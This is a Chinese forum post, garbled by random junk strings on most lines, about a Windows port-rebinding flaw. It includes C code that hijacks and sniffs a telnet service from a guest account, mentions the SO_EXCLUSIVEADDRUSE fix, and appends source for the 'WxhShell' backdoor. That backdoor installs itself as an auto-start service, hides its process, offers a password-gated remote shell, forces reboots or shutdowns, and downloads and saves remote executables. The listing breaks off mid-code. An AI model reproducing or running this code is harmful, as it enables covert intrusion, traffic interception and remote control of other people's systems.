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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #nft{AN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W!kF(O NA  
a #s Nd  
  saddr.sin_family = AF_INET;  lA4J#  
38l:Y"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  &z*4Uij  
sAs`O@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w 8cnSO  
U8HuqFC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  tj8o6N#  
;}KJ[5i-V  
  这意味着什么?意味着可以进行如下的攻击: 4AvIU!0w  
Z\QN n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3m21n7F4*  
/:BC<]s  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M&",7CPD(1  
!Q%r4Nr  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z Z~t ,>  
l ObY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H15!QxD#  
&`>dY /Y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p<Tg}fg  
GMLx$?=j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yDe*-N\'W  
L"?4}U:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _U*1D*kLI[  
x 2l}$(7  
  #include N>P" $  
  #include f4dHOH  
  #include prIJjy-F  
  #include    Oq3t-omXS  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6 W$m,3Dg  
  int main() \MmB+'f&R  
  { \Km+>G  
  WORD wVersionRequested; 7<2?NLE8*  
  DWORD ret; eCg|@d%D  
  WSADATA wsaData; lD _iIe~c  
  BOOL val; l#w0-n%S  
  SOCKADDR_IN saddr; ogdAJw6 9  
  SOCKADDR_IN scaddr; 3z#fFP@E  
  int err; eSMno_Gt3  
  SOCKET s; ^;\6ju2  
  SOCKET sc; z|S4\Ae  
  int caddsize; 7-9HCP  
  HANDLE mt; (\%+id|/q@  
  DWORD tid;   5$$]ZMof  
  wVersionRequested = MAKEWORD( 2, 2 ); A9[D.W9>  
  err = WSAStartup( wVersionRequested, &wsaData ); w#bdb;  
  if ( err != 0 ) { cyL|.2,  
  printf("error!WSAStartup failed!\n"); oK"#*n  
  return -1; A v/y  
  } [f$pq5f='  
  saddr.sin_family = AF_INET; &mA{_|>  
   1'k,P;s  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (t,|FkVLV  
MpIP)bdq7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PbMvM  
  saddr.sin_port = htons(23); W%9"E??c  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5(Xq58nhxI  
  { g J$m'kC;  
  printf("error!socket failed!\n"); MSt@yKq  
  return -1; Z$)jPDSr  
  } B|;?#okx  
  val = TRUE; 9!D c=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :{Iv ]d  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Mt12 1Q&"  
  { |qq29dS?  
  printf("error!setsockopt failed!\n"); {UhpN"'"n  
  return -1; %8|?YxiZ:  
  } Az(J @  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /"1[qT\F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 OnE~0+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |X~vsM0  
jSvo-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) S?~/ V]  
  { 7{f{SIB  
  ret=GetLastError(); (*!4O>]  
  printf("error!bind failed!\n"); qKuHd~M{ 1  
  return -1; $I\lJ8  
  }  <>=abgg  
  listen(s,2); twPD'X!r  
  while(1) TiI3<.a!  
  { .ldBl  
  caddsize = sizeof(scaddr); piPV&ytI  
  //接受连接请求 Jqt|' G3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8.' THLI  
  if(sc!=INVALID_SOCKET) `SYq/6$VEH  
  { 7)Bizlf  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I{u+=0^Y  
  if(mt==NULL) o7:"Sl2AD  
  { ~T'$gl  
  printf("Thread Creat Failed!\n"); ')E4N+h/  
  break; 88atj+N]  
  } LO ,k'gg<  
  } DEpn>   
  CloseHandle(mt); =,W~^<\"  
  } 8';huq@C{  
  closesocket(s); /KCIb:U  
  WSACleanup(); H^w Inkf>  
  return 0; l`AA<Rj*O-  
  }   Be0v&Q_NK  
  DWORD WINAPI ClientThread(LPVOID lpParam) |DoD.?v  
  { ,#80`&\%  
  SOCKET ss = (SOCKET)lpParam; _,|N`BBqd  
  SOCKET sc; a[V4EX1E  
  unsigned char buf[4096]; i}ti  
  SOCKADDR_IN saddr; s#)tiCSVW  
  long num; 6C*4' P9>  
  DWORD val; jR,3 -JQ  
  DWORD ret; dv \aP  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'ewVn1ME[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |f"1I4K g  
  saddr.sin_family = AF_INET; lO^YAOY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K>`*JJ,  
  saddr.sin_port = htons(23); Cv1CRmqq%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _VAX~Y]  
  { ltG|#(  
  printf("error!socket failed!\n"); k|_LF[*Z  
  return -1; ^9*Jz{e  
  } SV_b(wP9  
  val = 100; )'t&LWS~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NiH.Pv)Oa'  
  { #N|A@B5 x  
  ret = GetLastError(); I-|1eR+3  
  return -1;  EoHrXv  
  } a/p /<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r1Cq8vD*m  
  { (C8r^m|A  
  ret = GetLastError(); ;!/g`*?  
  return -1; DP7B X^e  
  } >W@3_{0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >WW5;7$  
  { 9TOqA4  
  printf("error!socket connect failed!\n"); i@spd5.  
  closesocket(sc); Gw}b8N6E  
  closesocket(ss); &<S]=\  
  return -1; hvU\l`m  
  } $3 ~ /H"K  
  while(1) !5h@uar  
  { \"hP*DJ"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -#"7F:N1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {,CvWL  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Sc3B*.  
  num = recv(ss,buf,4096,0); _^u^@.Q'i<  
  if(num>0) I r;Z+}4>Y  
  send(sc,buf,num,0); 7W\aX*]  
  else if(num==0) m^ [VM&%  
  break; S?LUSb  
  num = recv(sc,buf,4096,0); iQ_^MzA  
  if(num>0) } {m.\O  
  send(ss,buf,num,0); g|V0[Hnq6  
  else if(num==0) YXjWk),  
  break; TP&&' 4?D1  
  } 5iP{)  
  closesocket(ss); v?(9ZY]  
  closesocket(sc); &IgH]?t  
  return 0 ; cu$i8$?t   
  } $79-)4;z4  
t:.ZvA3  
Z }Z]["q  
========================================================== *f( e`3E  
1q;r4$n  
下边附上一个代码,,WXhSHELL l>:\% ol  
wZ =*ejo  
========================================================== K+J fU J  
~ 'L`RJR  
#include "stdafx.h" E'4 dI:  
:\8&Th}Se  
#include <stdio.h> $ACD6u6  
#include <string.h> 0}y-DCuQ  
#include <windows.h> |F^h >^ x  
#include <winsock2.h> _a~-B@2g  
#include <winsvc.h>  $>y   
#include <urlmon.h> '2.11cM3  
dX:#KdK  
#pragma comment (lib, "Ws2_32.lib") maTZNzy  
#pragma comment (lib, "urlmon.lib") TdH~ sz  
9J'3b <  
#define MAX_USER   100 // 最大客户端连接数 h9L/.>CX  
#define BUF_SOCK   200 // sock buffer >n^[-SWJCT  
#define KEY_BUFF   255 // 输入 buffer X-=J7G`\h#  
1(12`3  
#define REBOOT     0   // 重启 ;Q} H'Wg,  
#define SHUTDOWN   1   // 关机 4 Gm(P~N  
N: Zf4  
#define DEF_PORT   5000 // 监听端口 gR:21*&cz  
|Zrkk>GW:  
#define REG_LEN     16   // 注册表键长度 R~&i8n.  
#define SVC_LEN     80   // NT服务名长度 [ O"8Tzr  
`OmYz{*r  
// 从dll定义API L=WB'*N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4\%XC F!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mrz@Y0mgL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ngHPOI16  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6$^dOJ_"  
H0.,h;  
// wxhshell配置信息 }8cX0mZ1j  
struct WSCFG { $1$T2'C~+  
  int ws_port;         // 监听端口 'uOzC"_yF  
  char ws_passstr[REG_LEN]; // 口令 \4e6\6 +  
  int ws_autoins;       // 安装标记, 1=yes 0=no nmrYBw>  
  char ws_regname[REG_LEN]; // 注册表键名 %[C-KQH  
  char ws_svcname[REG_LEN]; // 服务名 3V`.<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _z3YB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `Gp!Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _C97G&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N>}2&'I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;Jrk#7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Yi+~}YP.E(  
ep3iI77/  
}; /4Lmu+G4  
{Q la4U  
// default Wxhshell configuration ib%x&?||  
struct WSCFG wscfg={DEF_PORT, M:Aik&  
    "xuhuanlingzhe", JKsdPW<?  
    1, d4#Ra%   
    "Wxhshell", d@72z r  
    "Wxhshell", ^BFD -p  
            "WxhShell Service", 0fTEb%z8  
    "Wrsky Windows CmdShell Service",  !bi}9w  
    "Please Input Your Password: ", [o,S.!W8  
  1, )d|hIW]7(  
  "http://www.wrsky.com/wxhshell.exe", 1#3 Qa{i  
  "Wxhshell.exe" br9`77J8  
    }; C8 b%r|^#  
Ag!#epi{0  
// 消息定义模块 GCgpe(cQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %g>{m2o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nBVknyMFNF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T?Dq2UW  
char *msg_ws_ext="\n\rExit."; CF`fn6  
char *msg_ws_end="\n\rQuit."; tyLR_@i%%  
char *msg_ws_boot="\n\rReboot..."; \#A=twp  
char *msg_ws_poff="\n\rShutdown..."; r2*'5jk_  
char *msg_ws_down="\n\rSave to "; Pyx$$cj  
|e@Bi#M[  
char *msg_ws_err="\n\rErr!"; 6v9{ $:  
char *msg_ws_ok="\n\rOK!"; $Di2B A4Di  
Y%V|M0 0`  
char ExeFile[MAX_PATH]; d">Ya !W  
int nUser = 0; ] cv|A^  
HANDLE handles[MAX_USER]; 2F[;Z*&  
int OsIsNt; U&|$B|[  
FDAREE\j  
SERVICE_STATUS       serviceStatus; _ z!0ab  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'd"\h#  
):_x  
// 函数声明 d%istFL)  
int Install(void); Z0~}'K   
int Uninstall(void); @Yq!  
int DownloadFile(char *sURL, SOCKET wsh); B`4[@$  
int Boot(int flag); Wsr #YNhx|  
void HideProc(void); "Jp6EL%  
int GetOsVer(void); 2Z-BZuK6p  
int Wxhshell(SOCKET wsl); 3o'SY@'W  
void TalkWithClient(void *cs); rGZ@pO2  
int CmdShell(SOCKET sock); IP1|$b}sq  
int StartFromService(void); C3%,pDh  
int StartWxhshell(LPSTR lpCmdLine); Te{L@sj  
^j2:fJOU#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IpxFME%!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q#bFW?>y,  
)W@H  
// 数据结构和表定义 o4kNDXP#S  
SERVICE_TABLE_ENTRY DispatchTable[] = m,u? ^W  
{ >oc7=F<8lS  
{wscfg.ws_svcname, NTServiceMain}, Lh &L5p7  
{NULL, NULL} FVsNOU  
}; z^4\?R50yO  
_W: S>ij(  
// 自我安装 TBQ`:`g^m  
int Install(void) rrSA.J{  
{ 'FBvAk6  
  char svExeFile[MAX_PATH]; J<_&f_K0]  
  HKEY key; %;9e h'  
  strcpy(svExeFile,ExeFile); ZUyM:$  
zYOPE 6E  
// 如果是win9x系统,修改注册表设为自启动 n20H{TA  
if(!OsIsNt) { IBVP4&}x$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -}UC daQ3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0zpP$q$  
  RegCloseKey(key); ,Z%!38gGsu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [,5clR=F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nm'm*sU\  
  RegCloseKey(key); @D"1}CW  
  return 0; S$"A[  
    } "0L@cOyG  
  } [jumq1  
} B>47Ic  
else { ]dDyz[NuvD  
,)L.^<  
// 如果是NT以上系统,安装为系统服务 &TbnZnv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !wrl.A/P  
if (schSCManager!=0) Dz)bP{iq"  
{ oRu S_X  
  SC_HANDLE schService = CreateService A|>a Gy  
  ( wCvD4C.WH  
  schSCManager, t9pPG{1  
  wscfg.ws_svcname, nbpN+a%  
  wscfg.ws_svcdisp, 7<.f&1MgI  
  SERVICE_ALL_ACCESS, =GR Em5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '~ ]b;nA  
  SERVICE_AUTO_START, ijhMJ?3  
  SERVICE_ERROR_NORMAL, {/7'uD\ H  
  svExeFile, g6W.Gl"5\w  
  NULL, y+ :<  
  NULL, cDTDim1F  
  NULL, GW $iK@  
  NULL, <{-DYRiN  
  NULL 6!Isz1.re  
  ); N7#GK]n%/}  
  if (schService!=0) g dC=SFb b  
  { 1<R \V  
  CloseServiceHandle(schService); C1G Wi4)  
  CloseServiceHandle(schSCManager); SwP h-6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b'-gy0  
  strcat(svExeFile,wscfg.ws_svcname); 5 ?vIkf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t%dPj8~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cRg$~rYd  
  RegCloseKey(key); nj9hRiL n  
  return 0; {{DW P-v4  
    } oW+R:2I~O  
  } FyS K&  
  CloseServiceHandle(schSCManager); 98O z  
} U3U eTa_  
} x@k9]6/zs  
b`:Eo+p   
return 1; L7xTAFe  
} x`eYCi  
o`sn/x  
// 自我卸载 d7G'+B1  
int Uninstall(void) rz.`$b  
{ N]=.I   
  HKEY key; uPp(l4(+  
ohh 1DsB  
if(!OsIsNt) { OQsH,'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cA Lu  
  RegDeleteValue(key,wscfg.ws_regname); RZ.5:v6  
  RegCloseKey(key); )US) -\^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nEn2!)$  
  RegDeleteValue(key,wscfg.ws_regname); c&_3"2:  
  RegCloseKey(key); gh 0\9;h  
  return 0; 3?}SXmA'@  
  } ]JM9 ^F  
} HxM-VK '  
} !{3pp  
else { qzyQ2a_p  
igQyn|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =Tj0dfO|"  
if (schSCManager!=0)  3sw1y  
{ }gn0bCJy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <=`@`rm{  
  if (schService!=0) F% |(pHk  
  { kR_[p._  
  if(DeleteService(schService)!=0) { PRUGUHY  
  CloseServiceHandle(schService); C eg6 o &^  
  CloseServiceHandle(schSCManager); u@|yw)  
  return 0; #\M<6n{  
  } ~\_E%NR yA  
  CloseServiceHandle(schService); KVntBe]I  
  } }$UFc1He\J  
  CloseServiceHandle(schSCManager); Av[jFk  
} C^~iz in  
} BdYh:  
WgL! @g  
return 1; u/zfx ;K  
} ~& l`"  
3A9|{Vaz+6  
// 从指定url下载文件 qjFgy)qV  
int DownloadFile(char *sURL, SOCKET wsh) Yk5kC 0B  
{ lV 1|\~?4  
  HRESULT hr; Cm&itG  
char seps[]= "/"; Tv KX8m"  
char *token; aG ,uF  
char *file; &V ;a:  
char myURL[MAX_PATH]; O//e0?]W  
char myFILE[MAX_PATH]; *Zvw&y*  
R}]FIu  
strcpy(myURL,sURL); r5"/EMieh  
  token=strtok(myURL,seps); E0|aI4S4  
  while(token!=NULL) 83 n: h08  
  { i>~?XVU  
    file=token; D'&L wU,o  
  token=strtok(NULL,seps); :z:Blp>nK/  
  } )>/c/ B  
OwEz( pj@  
GetCurrentDirectory(MAX_PATH,myFILE); pqe tYu  
strcat(myFILE, "\\"); 4M]8po/;  
strcat(myFILE, file); :8ZxOwwv  
  send(wsh,myFILE,strlen(myFILE),0); Y `{U45  
send(wsh,"...",3,0); q}!4b'z^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c'6H@m#=  
  if(hr==S_OK) `#]\Wnp~y  
return 0; PX'LN  
else Dz{e@+>M  
return 1; a !IH-XJ2  
4|(?Wt)5  
} j.6kjQN  
2*|]#W  
// 系统电源模块 UdGoPzN  
int Boot(int flag) Q^k# ?j#  
{ (g Z!o_  
  HANDLE hToken; !2Orklzd1  
  TOKEN_PRIVILEGES tkp; A0XFu}  
U,=K_oBAq  
  if(OsIsNt) { x6t;=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TU/J]'))C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aPC!M4#  
    tkp.PrivilegeCount = 1; ~g{,W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )=D&NO67Pq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VPHCPGrk  
if(flag==REBOOT) { -: ,h8JyMP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r>Ln*R,9D  
  return 0; gY9"!IVe+  
} l;.BlHyu  
else { /K^cU;E,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (Y>MsqwWfC  
  return 0; xR:h^S^W ~  
} ueR42J%s  
  } <-F"&LI{<  
  else { pV7Gh`<y  
if(flag==REBOOT) { %gaKnT(|r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QP#Wfk(C  
  return 0; #-;BU{3*  
} G DV-wPX  
else { L9T u>4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o >Lk`\  
  return 0; US4Um>j  
} $ZS9CkN  
} &f*dFUM]I  
{#,FlR2  
return 1; ju#6 3  
} RVfe}4Stm#  
qC )VT3  
// win9x进程隐藏模块 .N=hA  
void HideProc(void) qj&)w9RLJE  
{ jO 55<s94  
HhvG#Sam!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {<kG{i/  
  if ( hKernel != NULL ) z(3"\ ^T  
  { =FmU]DV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x/=j$oA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j;)6uia*A  
    FreeLibrary(hKernel); K_QCYS.  
  } [Ni4[\  
Y9;Mey*oW  
return; ?_aR-[XRg  
} spJ(1F{|V  
4*x!B![]y  
// 获取操作系统版本 PAHlj,n)  
int GetOsVer(void) vi8~j  
{ ^>Y%L(>  
  OSVERSIONINFO winfo; &r%*_pX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^{:jY, ?]  
  GetVersionEx(&winfo); iIE(zw)H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <^U(ya  
  return 1; k`TJ<Dv;  
  else (GG"'bYk  
  return 0; 2~V Im#  
} ZRB 0OH  
#ja`+w}  
// 客户端句柄模块 P0xLx  
int Wxhshell(SOCKET wsl) !dY:S';~  
{ bZ.N7X PH  
  SOCKET wsh; +ZKhmb!  
  struct sockaddr_in client; iwQ-(GjM[A  
  DWORD myID; n#Roz5/U  
(:QQ7xc{}  
  while(nUser<MAX_USER) n*Vd<m;w  
{ +5[oY,^cO  
  int nSize=sizeof(client); -kbm$~P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,:4DN&<  
  if(wsh==INVALID_SOCKET) return 1; t1jlxK  
ht)nx,e=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m>ycN  
if(handles[nUser]==0) s&hA  
  closesocket(wsh); S |>$0P4W(  
else ~lqGnNhh 7  
  nUser++; U@MP&sdL  
  } k-V I9H!,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jJ!-hg4?]  
Wk\@n+Q {]  
  return 0; {~fCqP.2  
} z,FTsR$x  
_I_?k+#WFe  
// 关闭 socket 1~DD9z  
void CloseIt(SOCKET wsh) 1G%PXrEj8  
{ l&*)r;9  
closesocket(wsh); O[)]dD&'  
nUser--; cmhN(==  
ExitThread(0); 45sxF?GSwL  
}  }m%?&c  
:z.Y$]F@  
// 客户端请求句柄 drKjLo[y  
void TalkWithClient(void *cs) M J,ZXJXs  
{ xs!g{~V{  
1Xr"h:U_X  
  SOCKET wsh=(SOCKET)cs; f&}A!uLe4x  
  char pwd[SVC_LEN]; &3Z. #*  
  char cmd[KEY_BUFF]; &4Con%YU[  
char chr[1]; HI\f>U  
int i,j; u=;nU(]M '  
W Gw!Y1wq  
  while (nUser < MAX_USER) { 2l@"p!ar=  
=HY1l}\  
if(wscfg.ws_passstr) { @f{_=~+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8a`+h#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !I5~))E  
  //ZeroMemory(pwd,KEY_BUFF); RP,:[}mPl  
      i=0; H [Lt%:r  
  while(i<SVC_LEN) { u'i%~(:$\)  
LkGf|yd_  
  // 设置超时 s!ZW'`4!z  
  fd_set FdRead; y168K[p  
  struct timeval TimeOut; x}&a{;  
  FD_ZERO(&FdRead); ]hE +$sKd  
  FD_SET(wsh,&FdRead); .S!>9X,  
  TimeOut.tv_sec=8; 7q!yCU  
  TimeOut.tv_usec=0; tB7K&ssi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n2d8;B#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N3gNOq&  
0UGiPH,()  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B9e.-Xaf  
  pwd=chr[0]; |Vwc/9`t]>  
  if(chr[0]==0xd || chr[0]==0xa) { g T XW2S  
  pwd=0; +K;Y+ K&;2  
  break; X#DL/#z k  
  } ')5L_$  
  i++; |vfujzRZ  
    } +z|UpI  
jefNiEE[  
  // 如果是非法用户,关闭 socket - LiPHHX<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *:9 >W$0u  
} H 5U x.]y  
.vN%UNu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2K]IlsMO&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wk`bb!P_  
6KEykw j  
while(1) { lC=N:=Mu  
}2ql?K  
  ZeroMemory(cmd,KEY_BUFF); m\/,cc@,  
g={]Mzh  
      // 自动支持客户端 telnet标准   N&fW9s}  
  j=0; *O+R|Cdp/  
  while(j<KEY_BUFF) { >; &s['H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PNbcy!\U  
  cmd[j]=chr[0]; #9D/jYK1X  
  if(chr[0]==0xa || chr[0]==0xd) { . QXG"R  
  cmd[j]=0; gT(th9'+z  
  break; JG@L5f  
  } Rkpr8MS  
  j++; w dGpt_  
    } LBmM{Gu  
cX %:  
  // 下载文件 (@)2PO /  
  if(strstr(cmd,"http://")) { q]"2hLq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F1gt3 ae  
  if(DownloadFile(cmd,wsh)) eC6>yD6D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ fK47oV  
  else |P~O15V*Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d"B@c;dD  
  } C}b|2y  
  else { -ca7x`yo  
s, n^  
    switch(cmd[0]) { EkJVFHfh  
  nW|'l^&  
  // 帮助 | }K  
  case '?': { Nfv="t9e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K,f* SXM  
    break; \G$QNUU  
  } Z+Yeg  
  // 安装 (9mbF%b  
  case 'i': { {I0w`xe  
    if(Install()) ePp[m zg6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bz{^h'  
    else j)jCu ;`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <nDNiM#  
    break; +I|Rk&  
    } XC|*A$x,  
  // 卸载 )v%l0_z{  
  case 'r': { z,pNb%*O  
    if(Uninstall()) -#LjI.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CO-Iar  
    else /8xH$n&xoC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N'I(P9@  
    break; izMYVI?0  
    } EjWgaV  
  // 显示 wxhshell 所在路径 tT;8r8@  
  case 'p': { gjW\ XY  
    char svExeFile[MAX_PATH]; ,*/Pg 52?  
    strcpy(svExeFile,"\n\r"); ]SFWt/<  
      strcat(svExeFile,ExeFile); +7V=aNRlE  
        send(wsh,svExeFile,strlen(svExeFile),0); GI4?|@%vD!  
    break; <57g{e0I  
    } vqq6B/r@Fu  
  // 重启 tY/En-&t  
  case 'b': { i<%m Iq1L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C<_ Urnmn  
    if(Boot(REBOOT)) Da-u-_~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B@ -|b  
    else { hZcmP"wgC1  
    closesocket(wsh); \B_i$<Sz  
    ExitThread(0); zhNQuK,L  
    } l+%Fl=Q2em  
    break; 4~!Eje!  
    } LU%#mY  
  // 关机 c$9sF@K?  
  case 'd': { F8;mYuA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q4RpK(N  
    if(Boot(SHUTDOWN)) Nepi|{  
